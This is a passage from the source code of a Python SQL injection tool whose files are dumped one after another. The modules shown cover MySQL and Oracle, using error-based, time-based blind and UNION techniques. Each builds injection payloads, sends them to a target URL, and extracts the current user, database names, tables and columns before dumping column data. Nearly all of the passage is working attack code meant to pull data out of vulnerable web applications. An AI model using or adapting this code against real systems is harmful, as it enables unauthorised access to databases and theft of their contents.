right_number=10) 88 | self.reset_boundary() 89 | logger.info("value len is:" + str(len_index)) 90 | return len_index 91 | 92 | 93 | def get_counts(self,table_name,col_name,i="0"): 94 | col_name = ["count(*)"] 95 | counts = '' 96 | self.set_boundary(BOUNDARY.blind_count) 97 | counts = self.double_search(table_name, col_name, i, "", left_number=0, right_number=10) 98 | self.reset_boundary() 99 | logger.info("CountsEnties:" + str(counts)) 100 | return counts 101 | 102 | 103 | def get_current_user(self): 104 | table_name = 'information_schema.schemata' 105 | col_name = ["user()"] 106 | user = self.get_value_by_blind(table_name,col_name,'0') 107 | logger.info("CurrentUser:" + user) 108 | return user 109 | 110 | 111 | def get_current_db(self): 112 | table_name = 'information_schema.schemata' 113 | col_name = ["database()"] 114 | database = "" 115 | database = self.get_value_by_blind(table_name,col_name,'0') 116 | logger.info("CurrentBase:" + database) 117 | return database 118 | 119 | def get_dbs(self): 120 | table_name = 'information_schema.schemata' 121 | col_name = ["schema_name"] 122 | counts = self.get_counts(table_name,col_name) 123 | logger.info("all dbs counts is :%s" % counts) 124 | dbs = [] 125 | for i in range(int(counts)): 126 | db = self.get_value_by_blind(table_name,col_name,str(i)) 127 | dbs.append(db) 128 | logger.info("Ent:" + db) 129 | return dbs 130 | 131 | def get_tables(self,db): 132 | table_name = 'information_schema.tables' 133 | col_name = ["table_name"] 134 | query = SQL.query_tab.replace("{db}", format_hex(db)) 135 | self.set_query(query) 136 | counts = self.get_counts(table_name, col_name) 137 | logger.info("all tables counts is :%s" % counts) 138 | tables = [] 139 | for i in range(int(counts)): 140 | table = self.get_value_by_blind(table_name,col_name,str(i)) 141 | tables.append(table) 142 | logger.info("Ent:" + table) 143 | return tables 144 | 145 | def get_columns(self,db,table): 146 | table_name = 'information_schema.columns' 147 | col_name = ["column_name"] 148 | query = SQL.query_col.replace("{db}",format_hex(db)).replace("{table}",format_hex(table)) 149 | self.set_query(query) 150 | counts = self.get_counts(table_name, col_name) 151 | columns = [] 152 | for i in range(int(counts)): 153 | col = self.get_value_by_blind(table_name,col_name,str(i)) 154 | columns.append(col) 155 | logger.info("Ent:" + col) 156 | return columns 157 | 158 | def dump(self,db,table,col): 159 | table_name = '{0}.{1}'.format(db,table) 160 | col_name = ["{0}".format(col)] 161 | self.reset_query() 162 | counts = self.get_counts(table_name, col_name) 163 | data = [] 164 | for i in range(int(counts)): 165 | value = self.get_value_by_blind(table_name,col_name,str(i)) 166 | logger.info("Ent:{0}.{1}:{2}".format(table_name,col_name,value)) 167 | data.append(value) 168 | return data 169 | -------------------------------------------------------------------------------- /lib/core/dbs/mysql/mysql_E.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | 7 | 8 | from lib.core.dbs.databases import Databases 9 | from lib.core.common import format_data, match_data, match_all_data,random_str,format_hex,find_success,tamper 10 | from lib.core.request.connection import req 11 | from lib.core.data import conf,logger 12 | from lib.parse.payload import SQL,BOUNDARY,SEP_CHAR 13 | # req = Request(headers,conf.proxies,conf.timeout,method='get') 14 | if conf.flag: 15 | success_flag = conf.flag 16 | keys=list 17 | 18 | 19 | class Mysql(Databases): 20 | def __init__(self,tech): 21 | Databases.__init__(self,tech) 22 | 23 | def get_value_from_response(self,text,token): 24 | res = "" 25 | res = match_data(text,token) 26 | return res 27 | 28 | def get_payload(self,table_name,col_name,i="0",index="1",value=""): # (index,vaule) is used blind 29 | cols = [] 30 | token = "" 31 | for col in col_name: 32 | cols.append(col) 33 | token = random_str() 34 | hex_str = format_hex(token) 35 | cat_fun = "concat(%s)" 36 | # cat_str = cat_fun.replace('%s', "{pre},user(),{suf}".format(pre = hex_str,suf = hex_str)) # conlumns strings 37 | cols.insert(0,'1') 38 | cols.append('1') 39 | link_char = ","+hex_str + "," 40 | cat_str = cat_fun.replace('%s', "{conulmns}".format(conulmns = (link_char).join(cols)))# conlumns strings 41 | boundary = SEP_CHAR + self.boundary.replace('%value',value).replace('%index',index) 42 | query = self.query.replace('t_n',table_name).replace('%s', cat_str).replace('%d', i) 43 | boundary,query = tamper(boundary,query) 44 | payload = boundary 45 | payload = payload.replace('%query',query) 46 | payload = format_data(payload) 47 | if conf.debug: 48 | logger.success(payload) 49 | return payload,token 50 | 51 | def get_counts(self,table_name,col_name): 52 | col_name = ["count(*)"] 53 | counts = '' 54 | payload, token = self.get_payload(table_name, col_name, '0') 55 | url = conf.url 56 | res = req.connection(url, payload=payload) 57 | counts = self.get_value_from_response(res.text,token) 58 | logger.info("CountsEnties:" + counts) 59 | return counts 60 | 61 | def get_current_user(self): 62 | table_name = 'information_schema.schemata' 63 | col_name = ["user()"] 64 | user = "" 65 | payload,token = self.get_payload(table_name,col_name) 66 | url = conf.url 67 | res = req.connection(url,payload=payload) 68 | user= self.get_value_from_response(res.text,token) 69 | logger.info("CurrentUser:" + user) 70 | return user 71 | 72 | def get_current_db(self): 73 | table_name = 'information_schema.schemata' 74 | col_name = ["database()"] 75 | database = "" 76 | payload,token = self.get_payload(table_name,col_name) 77 | url = conf.url 78 | res = req.connection(url,payload=payload) 79 | database = self.get_value_from_response(res.text,token) 80 | logger.info("CurrentBase:" + database) 81 | return database 82 | 83 | 84 | def get_dbs(self): 85 | table_name = 'information_schema.schemata' 86 | col_name = ["schema_name"] 87 | counts = self.get_counts(table_name,col_name) 88 | logger.info("all dbs counts is :%s" % counts) 89 | dbs = [] 90 | for i in range(int(counts)): 91 | payload, token = self.get_payload(table_name, col_name, str(i)) 92 | url = conf.url 93 | res = req.connection(url, payload=payload) 94 | db = self.get_value_from_response(res.text, token) 95 | dbs.append(db) 96 | logger.info("Ent:" + db) 97 | return dbs 98 | 99 | def get_tables(self,db): 100 | table_name = 'information_schema.tables' 101 | col_name = ["table_name"] 102 | query = SQL.query_tab.replace("{db}", format_hex(db)) 103 | self.set_query(query) 104 | counts = self.get_counts(table_name, col_name) 105 | logger.info("all dbs counts is :%s" % counts) 106 | tables = [] 107 | for i in range(int(counts)): 108 | payload, token = self.get_payload(table_name, col_name, str(i)) 109 | url = conf.url 110 | res = req.connection(url, payload=payload) 111 | table = self.get_value_from_response(res.text, token) 112 | tables.append(table) 113 | logger.info("Ent:" + table) 114 | return tables 115 | 116 | def get_columns(self,db,table): 117 | table_name = 'information_schema.columns' 118 | col_name = ["column_name"] 119 | query = SQL.query_col.replace("{db}",format_hex(db)).replace("{table}",format_hex(table)) 120 | self.set_query(query) 121 | counts = self.get_counts(table_name, col_name) 122 | columns = [] 123 | for i in range(int(counts)): 124 | payload, token = self.get_payload(table_name, col_name, str(i)) 125 | url = conf.url 126 | res = req.connection(url, payload=payload) 127 | col = self.get_value_from_response(res.text, token) 128 | columns.append(col) 129 | logger.info("Ent:" + col) 130 | return columns 131 | 132 | def dump(self,db,table,col): 133 | table_name = '{0}.{1}'.format(db,table) 134 | col_name = ["{0}".format(col)] 135 | self.reset_query() 136 | counts = self.get_counts(table_name, col_name) 137 | data = [] 138 | for i in range(int(counts)): 139 | payload, token = self.get_payload(table_name, col_name, str(i)) 140 | url = conf.url 141 | res = req.connection(url, payload=payload) 142 | value = self.get_value_from_response(res.text, token) 143 | logger.info("Ent:{0}.{1}:{2}".format(table_name,col_name,value)) 144 | data.append(value) 145 | return data 146 | -------------------------------------------------------------------------------- /lib/core/dbs/mysql/mysql_T.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | # time:2019/7/21 6 | 7 | 8 | from lib.core.dbs.databases import Databases 9 | from lib.core.common import format_data, match_data, match_all_data,random_str,format_hex,find_success,tamper,stdev,average 10 | from lib.core.request.connection import req 11 | from lib.core.data import conf,logger 12 | from lib.parse.payload import SQL,BOUNDARY,SEP_CHAR 13 | # req = Request(headers,conf.proxies,conf.timeout,method='get') 14 | 15 | 16 | class Mysql(Databases): 17 | def __init__(self,tech): 18 | Databases.__init__(self,tech) 19 | 20 | def get_value_from_response(self,text,token): 21 | res = "" 22 | res = match_data(text,token) 23 | return res 24 | 25 | def get_value_by_blind(self, table_name, col_name, in_limit='0'): 26 | len = self.get_length(table_name, col_name, in_limit) 27 | text = "" 28 | for i in range(1, len + 1): 29 | value = self.double_search(table_name, col_name, in_limit, str(i), left_number=0, 30 | right_number=256) 31 | text = text + chr(value) 32 | logger.success(text) 33 | return text 34 | 35 | def is_delay(self,url,payload): 36 | is_delay = False 37 | req.connection(url,"") 38 | t1 = req.get_elapsed_time() 39 | req.connection(url, "") 40 | t2 = req.get_elapsed_time() 41 | req.connection(url, "") 42 | t3 = req.get_elapsed_time() 43 | t = [t1,t2,t3] 44 | deviation = stdev(t) 45 | lower_std_limit = average(t) + 7* deviation 46 | req.connection(url,payload) 47 | t4 = req.get_elapsed_time() 48 | value = (t4 >= max(0.5,lower_std_limit)) 49 | is_delay = value 50 | return is_delay 51 | 52 | 53 | def double_search(self, table_name, col_name, in_limit='0', index="", left_number=0, right_number=96): 54 | is_ture = False 55 | while True: 56 | payload, ss = self.get_payload(table_name, col_name, in_limit, index, value=str(right_number)) 57 | url = conf.url 58 | try: 59 | is_ture = self.is_delay(url,payload) 60 | except Exception as e: 61 | break 62 | if is_ture: 63 | left_number = right_number 64 | right_number = 2 * right_number 65 | is_ture = False 66 | else: 67 | break 68 | is_ture = False 69 | while left_number < right_number: 70 | mid = int((left_number + right_number) / 2) 71 | payload, ss = self.get_payload(table_name, col_name, in_limit, index, value=str(mid)) 72 | try: 73 | url = conf.url 74 | is_ture = self.is_delay(url, payload) 75 | except Exception,e: 76 | break 77 | if is_ture: 78 | left_number = mid 79 | else: 80 | right_number = mid 81 | is_ture = False 82 | if left_number == right_number - 1: 83 | payload, ss = self.get_payload(table_name, col_name, in_limit, index, value=str(mid)) 84 | url = conf.url 85 | try: 86 | is_ture = self.is_delay(url, payload) 87 | except Exception, e: 88 | break 89 | if is_ture: 90 | mid += 1 91 | break 92 | else: 93 | break 94 | return mid 95 | 96 | def get_payload(self,table_name,col_name,i="0",index="1",value=""): # (index,vaule) is used blind 97 | cols = [] 98 | token = "" 99 | for col in col_name: 100 | cols.append(col) 101 | cat_str = cols[0] 102 | boundary = SEP_CHAR + self.boundary.replace('%value',value).replace('%index',index) 103 | query = self.query.replace('t_n',table_name).replace('%s', cat_str).replace('%d', i) 104 | boundary,query = tamper(boundary,query) 105 | payload = boundary 106 | payload = payload.replace('%query',query) 107 | payload = format_data(payload) 108 | if conf.debug: 109 | logger.success(payload) 110 | return payload,token 111 | 112 | def get_length(self,table_name,col_name,i="0"): # limit i 113 | self.set_boundary(BOUNDARY.time_length) 114 | len_index = self.double_search(table_name, col_name,i, "", left_number=0, right_number=10) 115 | self.reset_boundary() 116 | logger.info("value len is:" + str(len_index)) 117 | return len_index 118 | 119 | def get_counts(self,table_name,col_name,i="0"): 120 | col_name = ["count(*)"] 121 | counts = '' 122 | self.set_boundary(BOUNDARY.time_count) 123 | counts = self.double_search(table_name, col_name, i, "", left_number=0, right_number=10) 124 | self.reset_boundary() 125 | logger.info("CountsEnties:" + str(counts)) 126 | return counts 127 | 128 | def get_current_user(self): 129 | table_name = 'information_schema.schemata' 130 | col_name = ["user()"] 131 | user = self.get_value_by_blind(table_name,col_name,'0') 132 | logger.info("CurrentUser:" + user) 133 | return user 134 | 135 | def get_current_db(self): 136 | table_name = 'information_schema.schemata' 137 | col_name = ["database()"] 138 | database = "" 139 | database = self.get_value_by_blind(table_name,col_name,'0') 140 | logger.info("CurrentBase:" + database) 141 | return database 142 | 143 | def get_dbs(self): 144 | table_name = 'information_schema.schemata' 145 | col_name = ["schema_name"] 146 | counts = self.get_counts(table_name,col_name) 147 | logger.info("all dbs counts is :%s" % counts) 148 | dbs = [] 149 | for i in range(int(counts)): 150 | db = self.get_value_by_blind(table_name,col_name,str(i)) 151 | dbs.append(db) 152 | logger.info("Ent:" + db) 153 | return dbs 154 | 155 | def get_tables(self,db): 156 | table_name = 'information_schema.tables' 157 | col_name = ["table_name"] 158 | query = SQL.query_tab.replace("{db}", format_hex(db)) 159 | self.set_query(query) 160 | counts = self.get_counts(table_name, col_name) 161 | logger.info("all tables counts is :%s" % counts) 162 | tables = [] 163 | for i in range(int(counts)): 164 | table = self.get_value_by_blind(table_name,col_name,str(i)) 165 | tables.append(table) 166 | logger.info("Ent:" + table) 167 | return tables 168 | 169 | def get_columns(self,db,table): 170 | table_name = 'information_schema.columns' 171 | col_name = ["column_name"] 172 | query = SQL.query_col.replace("{db}",format_hex(db)).replace("{table}",format_hex(table)) 173 | self.set_query(query) 174 | counts = self.get_counts(table_name, col_name) 175 | columns = [] 176 | for i in range(int(counts)): 177 | col = self.get_value_by_blind(table_name,col_name,str(i)) 178 | columns.append(col) 179 | logger.info("Ent:" + col) 180 | return columns 181 | 182 | def dump(self,db,table,col): 183 | table_name = '{0}.{1}'.format(db,table) 184 | col_name = ["{0}".format(col)] 185 | self.reset_query() 186 | counts = self.get_counts(table_name, col_name) 187 | data = [] 188 | for i in range(int(counts)): 189 | value = self.get_value_by_blind(table_name,col_name,str(i)) 190 | logger.info("Ent:{0}.{1}:{2}".format(table_name,col_name,value)) 191 | data.append(value) 192 | return data 193 | -------------------------------------------------------------------------------- /lib/core/dbs/mysql/mysql_U.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | # time:2019/7/30 6 | 7 | 8 | from lib.core.dbs.databases import Databases 9 | from lib.core.common import format_data, match_data, match_all_data,random_str,format_hex,un_hex,find_success,tamper 10 | from lib.core.request.connection import req 11 | from lib.core.data import conf,logger 12 | from lib.parse.payload import SQL,BOUNDARY,SEP_CHAR 13 | import copy 14 | import sys 15 | # req = Request(headers,conf.proxies,conf.timeout,method='get') 16 | if conf.flag: 17 | success_flag = conf.flag 18 | keys=list 19 | 20 | 21 | class Mysql(Databases): 22 | def __init__(self,tech): 23 | Databases.__init__(self,tech) 24 | self.set_actual_boundary() 25 | self.set_query(SQL.base_query) 26 | 27 | def set_actual_boundary(self): 28 | is_set = False 29 | token = '10000' 30 | table_name = "information_schema.schemata" 31 | self.set_query(SQL.query) 32 | l = ["NULL"]*25 33 | for i in range(25): 34 | temp= copy.deepcopy(l) 35 | temp[i] = token 36 | col_name = [','.join(temp[:i+1])] 37 | payload,_ = self.get_payload(table_name,col_name) 38 | url = conf.url 39 | res = req.connection(url,payload) 40 | text = res.text 41 | if token in text: 42 | break 43 | l = ["NULL"]*3 44 | token = format_hex(random_str()) 45 | for i in range(len(l)): 46 | pack = copy.deepcopy(l) 47 | pack[i] = token 48 | col_name = [','.join(pack)] 49 | payload, _ = self.get_payload(table_name, col_name) 50 | url = conf.url 51 | res = req.connection(url, payload) 52 | text = res.text 53 | if un_hex(token) in text: 54 | boudary = payload.replace(token, "concat(0x3a2d2d3a,%query,0x3a2d2d3a)") 55 | self.ini_boundary = boudary 56 | self.set_boundary(boudary) 57 | is_set = True 58 | break 59 | if not is_set: 60 | logger.error("Set Boundary Error!!!") 61 | sys.exit(0) 62 | 63 | def get_value_from_response(self, text, token): 64 | res = "" 65 | res = match_data(text, token) 66 | return res 67 | 68 | def get_payload(self, table_name, col_name, i="0", index="1", value=""): # (index,vaule) is used blind 69 | cols = [] 70 | token = ":--:" 71 | for col in col_name: 72 | cols.append(col) 73 | cat_str = cols[0] 74 | boundary = SEP_CHAR + self.boundary.replace('%value',value).replace('%index',index) 75 | query = self.query.replace('t_n',table_name).replace('%s', cat_str).replace('%d', i) 76 | boundary,query = tamper(boundary,query) 77 | payload = boundary 78 | payload = payload.replace('%query',query) 79 | payload = format_data(payload) 80 | if conf.debug: 81 | logger.success(payload) 82 | return payload,token 83 | 84 | def get_counts(self, table_name, col_name): 85 | col_name = ["count(*)"] 86 | counts = '' 87 | payload, token = self.get_payload(table_name, col_name, '0') 88 | url = conf.url 89 | res = req.connection(url, payload=payload) 90 | counts = self.get_value_from_response(res.text, token) 91 | logger.info("CountsEnties:" + counts) 92 | return counts 93 | 94 | def get_current_user(self): 95 | table_name = 'information_schema.schemata' 96 | col_name = ["user()"] 97 | user = "" 98 | payload, token = self.get_payload(table_name, col_name) 99 | url = conf.url 100 | res = req.connection(url, payload=payload) 101 | user = self.get_value_from_response(res.text, token) 102 | logger.info("CurrentUser:" + user) 103 | return user 104 | 105 | def get_current_db(self): 106 | table_name = 'information_schema.schemata' 107 | col_name = ["database()"] 108 | database = "" 109 | payload, token = self.get_payload(table_name, col_name) 110 | url = conf.url 111 | res = req.connection(url, payload=payload) 112 | database = self.get_value_from_response(res.text, token) 113 | logger.info("CurrentBase:" + database) 114 | return database 115 | 116 | def get_dbs(self): 117 | table_name = 'information_schema.schemata' 118 | col_name = ["schema_name"] 119 | counts = self.get_counts(table_name, col_name) 120 | logger.info("all dbs counts is :%s" % counts) 121 | dbs = [] 122 | for i in range(int(counts)): 123 | payload, token = self.get_payload(table_name, col_name, str(i)) 124 | url = conf.url 125 | res = req.connection(url, payload=payload) 126 | db = self.get_value_from_response(res.text, token) 127 | dbs.append(db) 128 | logger.info("Ent:" + db) 129 | return dbs 130 | 131 | def get_tables(self, db): 132 | table_name = 'information_schema.tables' 133 | col_name = ["table_name"] 134 | query = SQL.query_tab.replace("{db}", format_hex(db)) 135 | self.set_query(query) 136 | counts = self.get_counts(table_name, col_name) 137 | logger.info("all dbs counts is :%s" % counts) 138 | tables = [] 139 | for i in range(int(counts)): 140 | payload, token = self.get_payload(table_name, col_name, str(i)) 141 | url = conf.url 142 | res = req.connection(url, payload=payload) 143 | table = self.get_value_from_response(res.text, token) 144 | tables.append(table) 145 | logger.info("Ent:" + table) 146 | return tables 147 | 148 | def get_columns(self, db, table): 149 | table_name = 'information_schema.columns' 150 | col_name = ["column_name"] 151 | query = SQL.query_col.replace("{db}", format_hex(db)).replace("{table}", format_hex(table)) 152 | self.set_query(query) 153 | counts = self.get_counts(table_name, col_name) 154 | columns = [] 155 | for i in range(int(counts)): 156 | payload, token = self.get_payload(table_name, col_name, str(i)) 157 | url = conf.url 158 | res = req.connection(url, payload=payload) 159 | col = self.get_value_from_response(res.text, token) 160 | columns.append(col) 161 | logger.info("Ent:" + col) 162 | return columns 163 | 164 | def dump(self, db, table, col): 165 | table_name = '{0}.{1}'.format(db, table) 166 | col_name = ["{0}".format(col)] 167 | self.reset_query() 168 | counts = self.get_counts(table_name, col_name) 169 | data = [] 170 | for i in range(int(counts)): 171 | payload, token = self.get_payload(table_name, col_name, str(i)) 172 | url = conf.url 173 | res = req.connection(url, payload=payload) 174 | value = self.get_value_from_response(res.text, token) 175 | logger.info("Ent:{0}.{1}:{2}".format(table_name, col_name, value)) 176 | data.append(value) 177 | return data 178 | -------------------------------------------------------------------------------- /lib/core/dbs/oracle/oracle_B.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | 7 | 8 | from lib.core.dbs.databases import Databases 9 | from lib.core.common import format_data, match_data, match_all_data,random_str,format_hex,find_success,tamper 10 | from lib.core.request.connection import req 11 | from lib.core.data import conf,logger 12 | from lib.parse.payload import SQL,BOUNDARY,SEP_CHAR 13 | # req = Request(headers,conf.proxies,conf.timeout,method='get') 14 | if conf.flag: 15 | success_flag = conf.flag 16 | keys=list 17 | 18 | 19 | class Oracle(Databases): 20 | def __init__(self,tech): 21 | Databases.__init__(self,tech) 22 | 23 | def get_value_from_response(self,text,token): 24 | res = "" 25 | res = match_data(text,token) 26 | return res 27 | 28 | def get_value_by_blind(self, table_name, col_name, in_limit='0'): 29 | len = self.get_length(table_name, col_name, in_limit) 30 | text = "" 31 | for i in range(1, len + 1): 32 | value = self.double_search(table_name, col_name, in_limit, str(i), left_number=0, 33 | right_number=136) 34 | text = text + chr(value) 35 | logger.success(text) 36 | return text 37 | 38 | def double_search(self, table_name, col_name, in_limit='1', index="", left_number=0, right_number=136): 39 | while True: 40 | payload, ss = self.get_payload(table_name, col_name, in_limit, index, value=str(right_number)) 41 | url = conf.url 42 | res = req.connection(url, payload=payload) 43 | if find_success(success_flag, res.text): 44 | left_number = right_number 45 | right_number = 2 * right_number 46 | else: 47 | break 48 | 49 | while left_number < right_number: 50 | mid = int((left_number + right_number) / 2) 51 | payload, ss = self.get_payload(table_name, col_name, in_limit, index, value=str(mid)) 52 | url = conf.url 53 | res = req.connection(url, payload=payload) 54 | if find_success(success_flag, res.text): 55 | left_number = mid 56 | else: 57 | right_number = mid 58 | if left_number == right_number - 1: 59 | payload, ss = self.get_payload(table_name, col_name, in_limit, index, value=str(mid)) 60 | url = conf.url 61 | res = req.connection(url, payload=payload) 62 | if find_success(success_flag, res.text): 63 | mid += 1 64 | break 65 | else: 66 | break 67 | return mid 68 | 69 | def get_payload(self,table_name,col_name,i="1",index="1",value=""): # (index,vaule) is used blind 70 | cols = [] 71 | token = ":--:" 72 | for col in col_name: 73 | cols.append(col) 74 | cat_str = cols[0] 75 | boundary = self.boundary.replace('%value',value).replace('%index',index) 76 | query = self.query.replace('t_n',table_name).replace('%s', cat_str).replace('%d', i) 77 | boundary,query = tamper(boundary,query) 78 | payload = boundary 79 | payload = payload.replace('%query',query) 80 | payload = format_data(payload) 81 | if conf.debug: 82 | logger.success(payload) 83 | return payload,token 84 | 85 | def get_length(self,table_name,col_name,i="1"): # limit i 86 | self.set_boundary(BOUNDARY.double_length) 87 | len_index = self.double_search(table_name, col_name,i, "1", left_number=0, right_number=96) 88 | self.reset_boundary() 89 | logger.info("value len is:" + str(len_index)) 90 | return len_index 91 | 92 | 93 | def get_counts(self,table_name,col_name,i="0"): 94 | col_name = ["count(*)"] 95 | counts = '' 96 | self.set_boundary(BOUNDARY.blind_count) 97 | counts = self.double_search(table_name, col_name, i, "", left_number=0, right_number=10) 98 | self.reset_boundary() 99 | logger.info("CountsEnties:" + str(counts)) 100 | return counts 101 | 102 | def get_current_user(self): 103 | table_name = 'user_tables' 104 | col_name = ["USER"] 105 | user = self.get_value_by_blind(table_name, col_name, '1') 106 | logger.info("CurrentUser:" + user) 107 | return user 108 | 109 | 110 | def get_current_db(self): 111 | table_name = 'user_tables' 112 | col_name = ["USER"] 113 | database = self.get_value_by_blind(table_name, col_name, '1') 114 | logger.info("CurrentBase:" + database) 115 | return database 116 | 117 | 118 | def get_dbs(self): 119 | table_name = 'all_USERS' 120 | col_name = ["USERNAME"] 121 | self.set_query(SQL.query) 122 | counts = self.get_counts(table_name,col_name) 123 | logger.info("all dbs counts is :%s" % counts) 124 | self.reset_query() 125 | dbs = [] 126 | for i in range(1,int(counts)+1): 127 | db = self.get_value_by_blind(table_name, col_name, str(i)) 128 | dbs.append(db) 129 | logger.info("Ent:" + db) 130 | return dbs 131 | 132 | def get_tables(self,db): 133 | table_name = 'all_tables' 134 | col_name = ["table_name"] 135 | query = SQL.query_all_tab.replace("{db}", "'{0}'").format(db) 136 | self.set_query(query) 137 | counts = self.get_counts(table_name, col_name) 138 | logger.info("all dbs counts is :%s" % counts) 139 | query = SQL.query_tab.replace("{db}", "'{0}'").format(db) 140 | self.set_query(query) 141 | tables = [] 142 | for i in range(1,int(counts)+1): 143 | table = self.get_value_by_blind(table_name, col_name, str(i)) 144 | tables.append(table) 145 | logger.info("Ent:" + table) 146 | return tables 147 | 148 | def get_columns(self,db,table): 149 | table_name = 'all_TAB_COLUMNS' 150 | col_name = ["column_name"] 151 | query = SQL.query_all_col.replace("{db}","'{0}'").replace("{table}","'{1}'").format(db,table) 152 | self.set_query(query) 153 | counts = self.get_counts(table_name, col_name) 154 | query = SQL.query_col.replace("{db}","'{0}'").replace("{table}","'{1}'").format(db,table) 155 | self.set_query(query) 156 | columns = [] 157 | for i in range(1,int(counts)+1): 158 | col = self.get_value_by_blind(table_name, col_name, str(i)) 159 | columns.append(col) 160 | logger.info("Ent:" + col) 161 | return columns 162 | 163 | def dump(self,db,table,col): 164 | table_name = '{0}.{1}'.format(db,table) 165 | col_name = ["{0}".format(col)] 166 | self.set_query(SQL.query) 167 | counts = self.get_counts(table_name, col_name) 168 | self.reset_query() 169 | data = [] 170 | for i in range(1,int(counts)+1): 171 | value = self.get_value_by_blind(table_name, col_name, str(i)) 172 | logger.info("Ent:{0}.{1}:{2}".format(table_name, col_name, value)) 173 | data.append(value) 174 | return data 175 | -------------------------------------------------------------------------------- /lib/core/dbs/oracle/oracle_E.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | 7 | 8 | from lib.core.dbs.databases import Databases 9 | from lib.core.common import format_data, match_data, match_all_data,random_str,format_hex,find_success,tamper 10 | from lib.core.request.connection import req 11 | from lib.core.data import conf,logger 12 | from lib.parse.payload import SQL,BOUNDARY,SEP_CHAR 13 | # req = Request(headers,conf.proxies,conf.timeout,method='get') 14 | if conf.flag: 15 | success_flag = conf.flag 16 | keys=list 17 | 18 | 19 | class Oracle(Databases): 20 | def __init__(self,tech): 21 | Databases.__init__(self,tech) 22 | 23 | def get_value_from_response(self,text,token): 24 | res = "" 25 | res = match_data(text,token) 26 | return res 27 | 28 | def get_payload(self,table_name,col_name,i="1",index="1",value=""): # (index,vaule) is used blind 29 | cols = [] 30 | token = ":--:" 31 | for col in col_name: 32 | cols.append(col) 33 | cat_str = cols[0] 34 | boundary = SEP_CHAR + self.boundary.replace('%value',value).replace('%index',index) 35 | query = self.query.replace('t_n',table_name).replace('%s', cat_str).replace('%d', i) 36 | boundary,query = tamper(boundary,query) 37 | payload = boundary 38 | payload = payload.replace('%query',query) 39 | payload = format_data(payload) 40 | if conf.debug: 41 | logger.success(payload) 42 | return payload,token 43 | 44 | def get_counts(self,table_name,col_name): 45 | col_name = ["count(*)"] 46 | counts = '' 47 | payload, token = self.get_payload(table_name, col_name, '1') 48 | url = conf.url 49 | res = req.connection(url, payload=payload) 50 | counts = self.get_value_from_response(res.text,token) 51 | logger.info("CountsEnties:" + counts) 52 | return counts 53 | 54 | def get_current_user(self): 55 | table_name = 'user_tables' 56 | col_name = ["USER"] 57 | user = "" 58 | payload,token = self.get_payload(table_name,col_name) 59 | url = conf.url 60 | res = req.connection(url,payload=payload) 61 | user= self.get_value_from_response(res.text,token) 62 | logger.info("CurrentUser:" + user) 63 | return user 64 | 65 | 66 | def get_current_db(self): 67 | table_name = 'user_tables' 68 | col_name = ["USER"] 69 | database = "" 70 | payload,token = self.get_payload(table_name,col_name) 71 | url = conf.url 72 | res = req.connection(url,payload=payload) 73 | database = self.get_value_from_response(res.text,token) 74 | logger.info("CurrentBase:" + database) 75 | return database 76 | 77 | 78 | def get_dbs(self): 79 | table_name = 'all_USERS' 80 | col_name = ["USERNAME"] 81 | self.set_query(SQL.query) 82 | counts = self.get_counts(table_name,col_name) 83 | logger.info("all dbs counts is :%s" % counts) 84 | self.reset_query() 85 | dbs = [] 86 | for i in range(1,int(counts)+1): 87 | payload, token = self.get_payload(table_name, col_name, str(i)) 88 | url = conf.url 89 | res = req.connection(url, payload=payload) 90 | db = self.get_value_from_response(res.text, token) 91 | dbs.append(db) 92 | logger.info("Ent:" + db) 93 | return dbs 94 | 95 | def get_tables(self,db): 96 | table_name = 'all_tables' 97 | col_name = ["table_name"] 98 | query = SQL.query_all_tab.replace("{db}", "'{0}'").format(db) 99 | self.set_query(query) 100 | counts = self.get_counts(table_name, col_name) 101 | logger.info("all dbs counts is :%s" % counts) 102 | query = SQL.query_tab.replace("{db}", "'{0}'").format(db) 103 | self.set_query(query) 104 | tables = [] 105 | for i in range(1,int(counts)+1): 106 | payload, token = self.get_payload(table_name, col_name, str(i)) 107 | url = conf.url 108 | res = req.connection(url, payload=payload) 109 | table = self.get_value_from_response(res.text, token) 110 | tables.append(table) 111 | logger.info("Ent:" + table) 112 | return tables 113 | 114 | def get_columns(self,db,table): 115 | table_name = 'all_TAB_COLUMNS' 116 | col_name = ["column_name"] 117 | query = SQL.query_all_col.replace("{db}","'{0}'").replace("{table}","'{1}'").format(db,table) 118 | self.set_query(query) 119 | counts = self.get_counts(table_name, col_name) 120 | query = SQL.query_col.replace("{db}","'{0}'").replace("{table}","'{1}'").format(db,table) 121 | self.set_query(query) 122 | columns = [] 123 | for i in range(1,int(counts)+1): 124 | payload, token = self.get_payload(table_name, col_name, str(i)) 125 | url = conf.url 126 | res = req.connection(url, payload=payload) 127 | col = self.get_value_from_response(res.text, token) 128 | columns.append(col) 129 | logger.info("Ent:" + col) 130 | return columns 131 | 132 | def dump(self,db,table,col): 133 | table_name = '{0}.{1}'.format(db,table) 134 | col_name = ["{0}".format(col)] 135 | self.set_query(SQL.query) 136 | counts = self.get_counts(table_name, col_name) 137 | self.reset_query() 138 | data = [] 139 | for i in range(1,int(counts)+1): 140 | payload, token = self.get_payload(table_name, col_name, str(i)) 141 | url = conf.url 142 | res = req.connection(url, payload=payload) 143 | value = self.get_value_from_response(res.text, token) 144 | logger.info("Ent:{0}.{1}:{2}".format(table_name,col_name,value)) 145 | data.append(value) 146 | return data 147 | -------------------------------------------------------------------------------- /lib/core/dbs/oracle/oracle_T.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | 7 | from lib.core.dbs.databases import Databases 8 | from lib.core.common import format_data, match_data, match_all_data,random_str,format_hex,find_success,tamper,stdev,average 9 | from lib.core.request.connection import req 10 | from lib.core.data import conf,logger 11 | from lib.parse.payload import SQL,BOUNDARY,SEP_CHAR 12 | import requests 13 | # req = 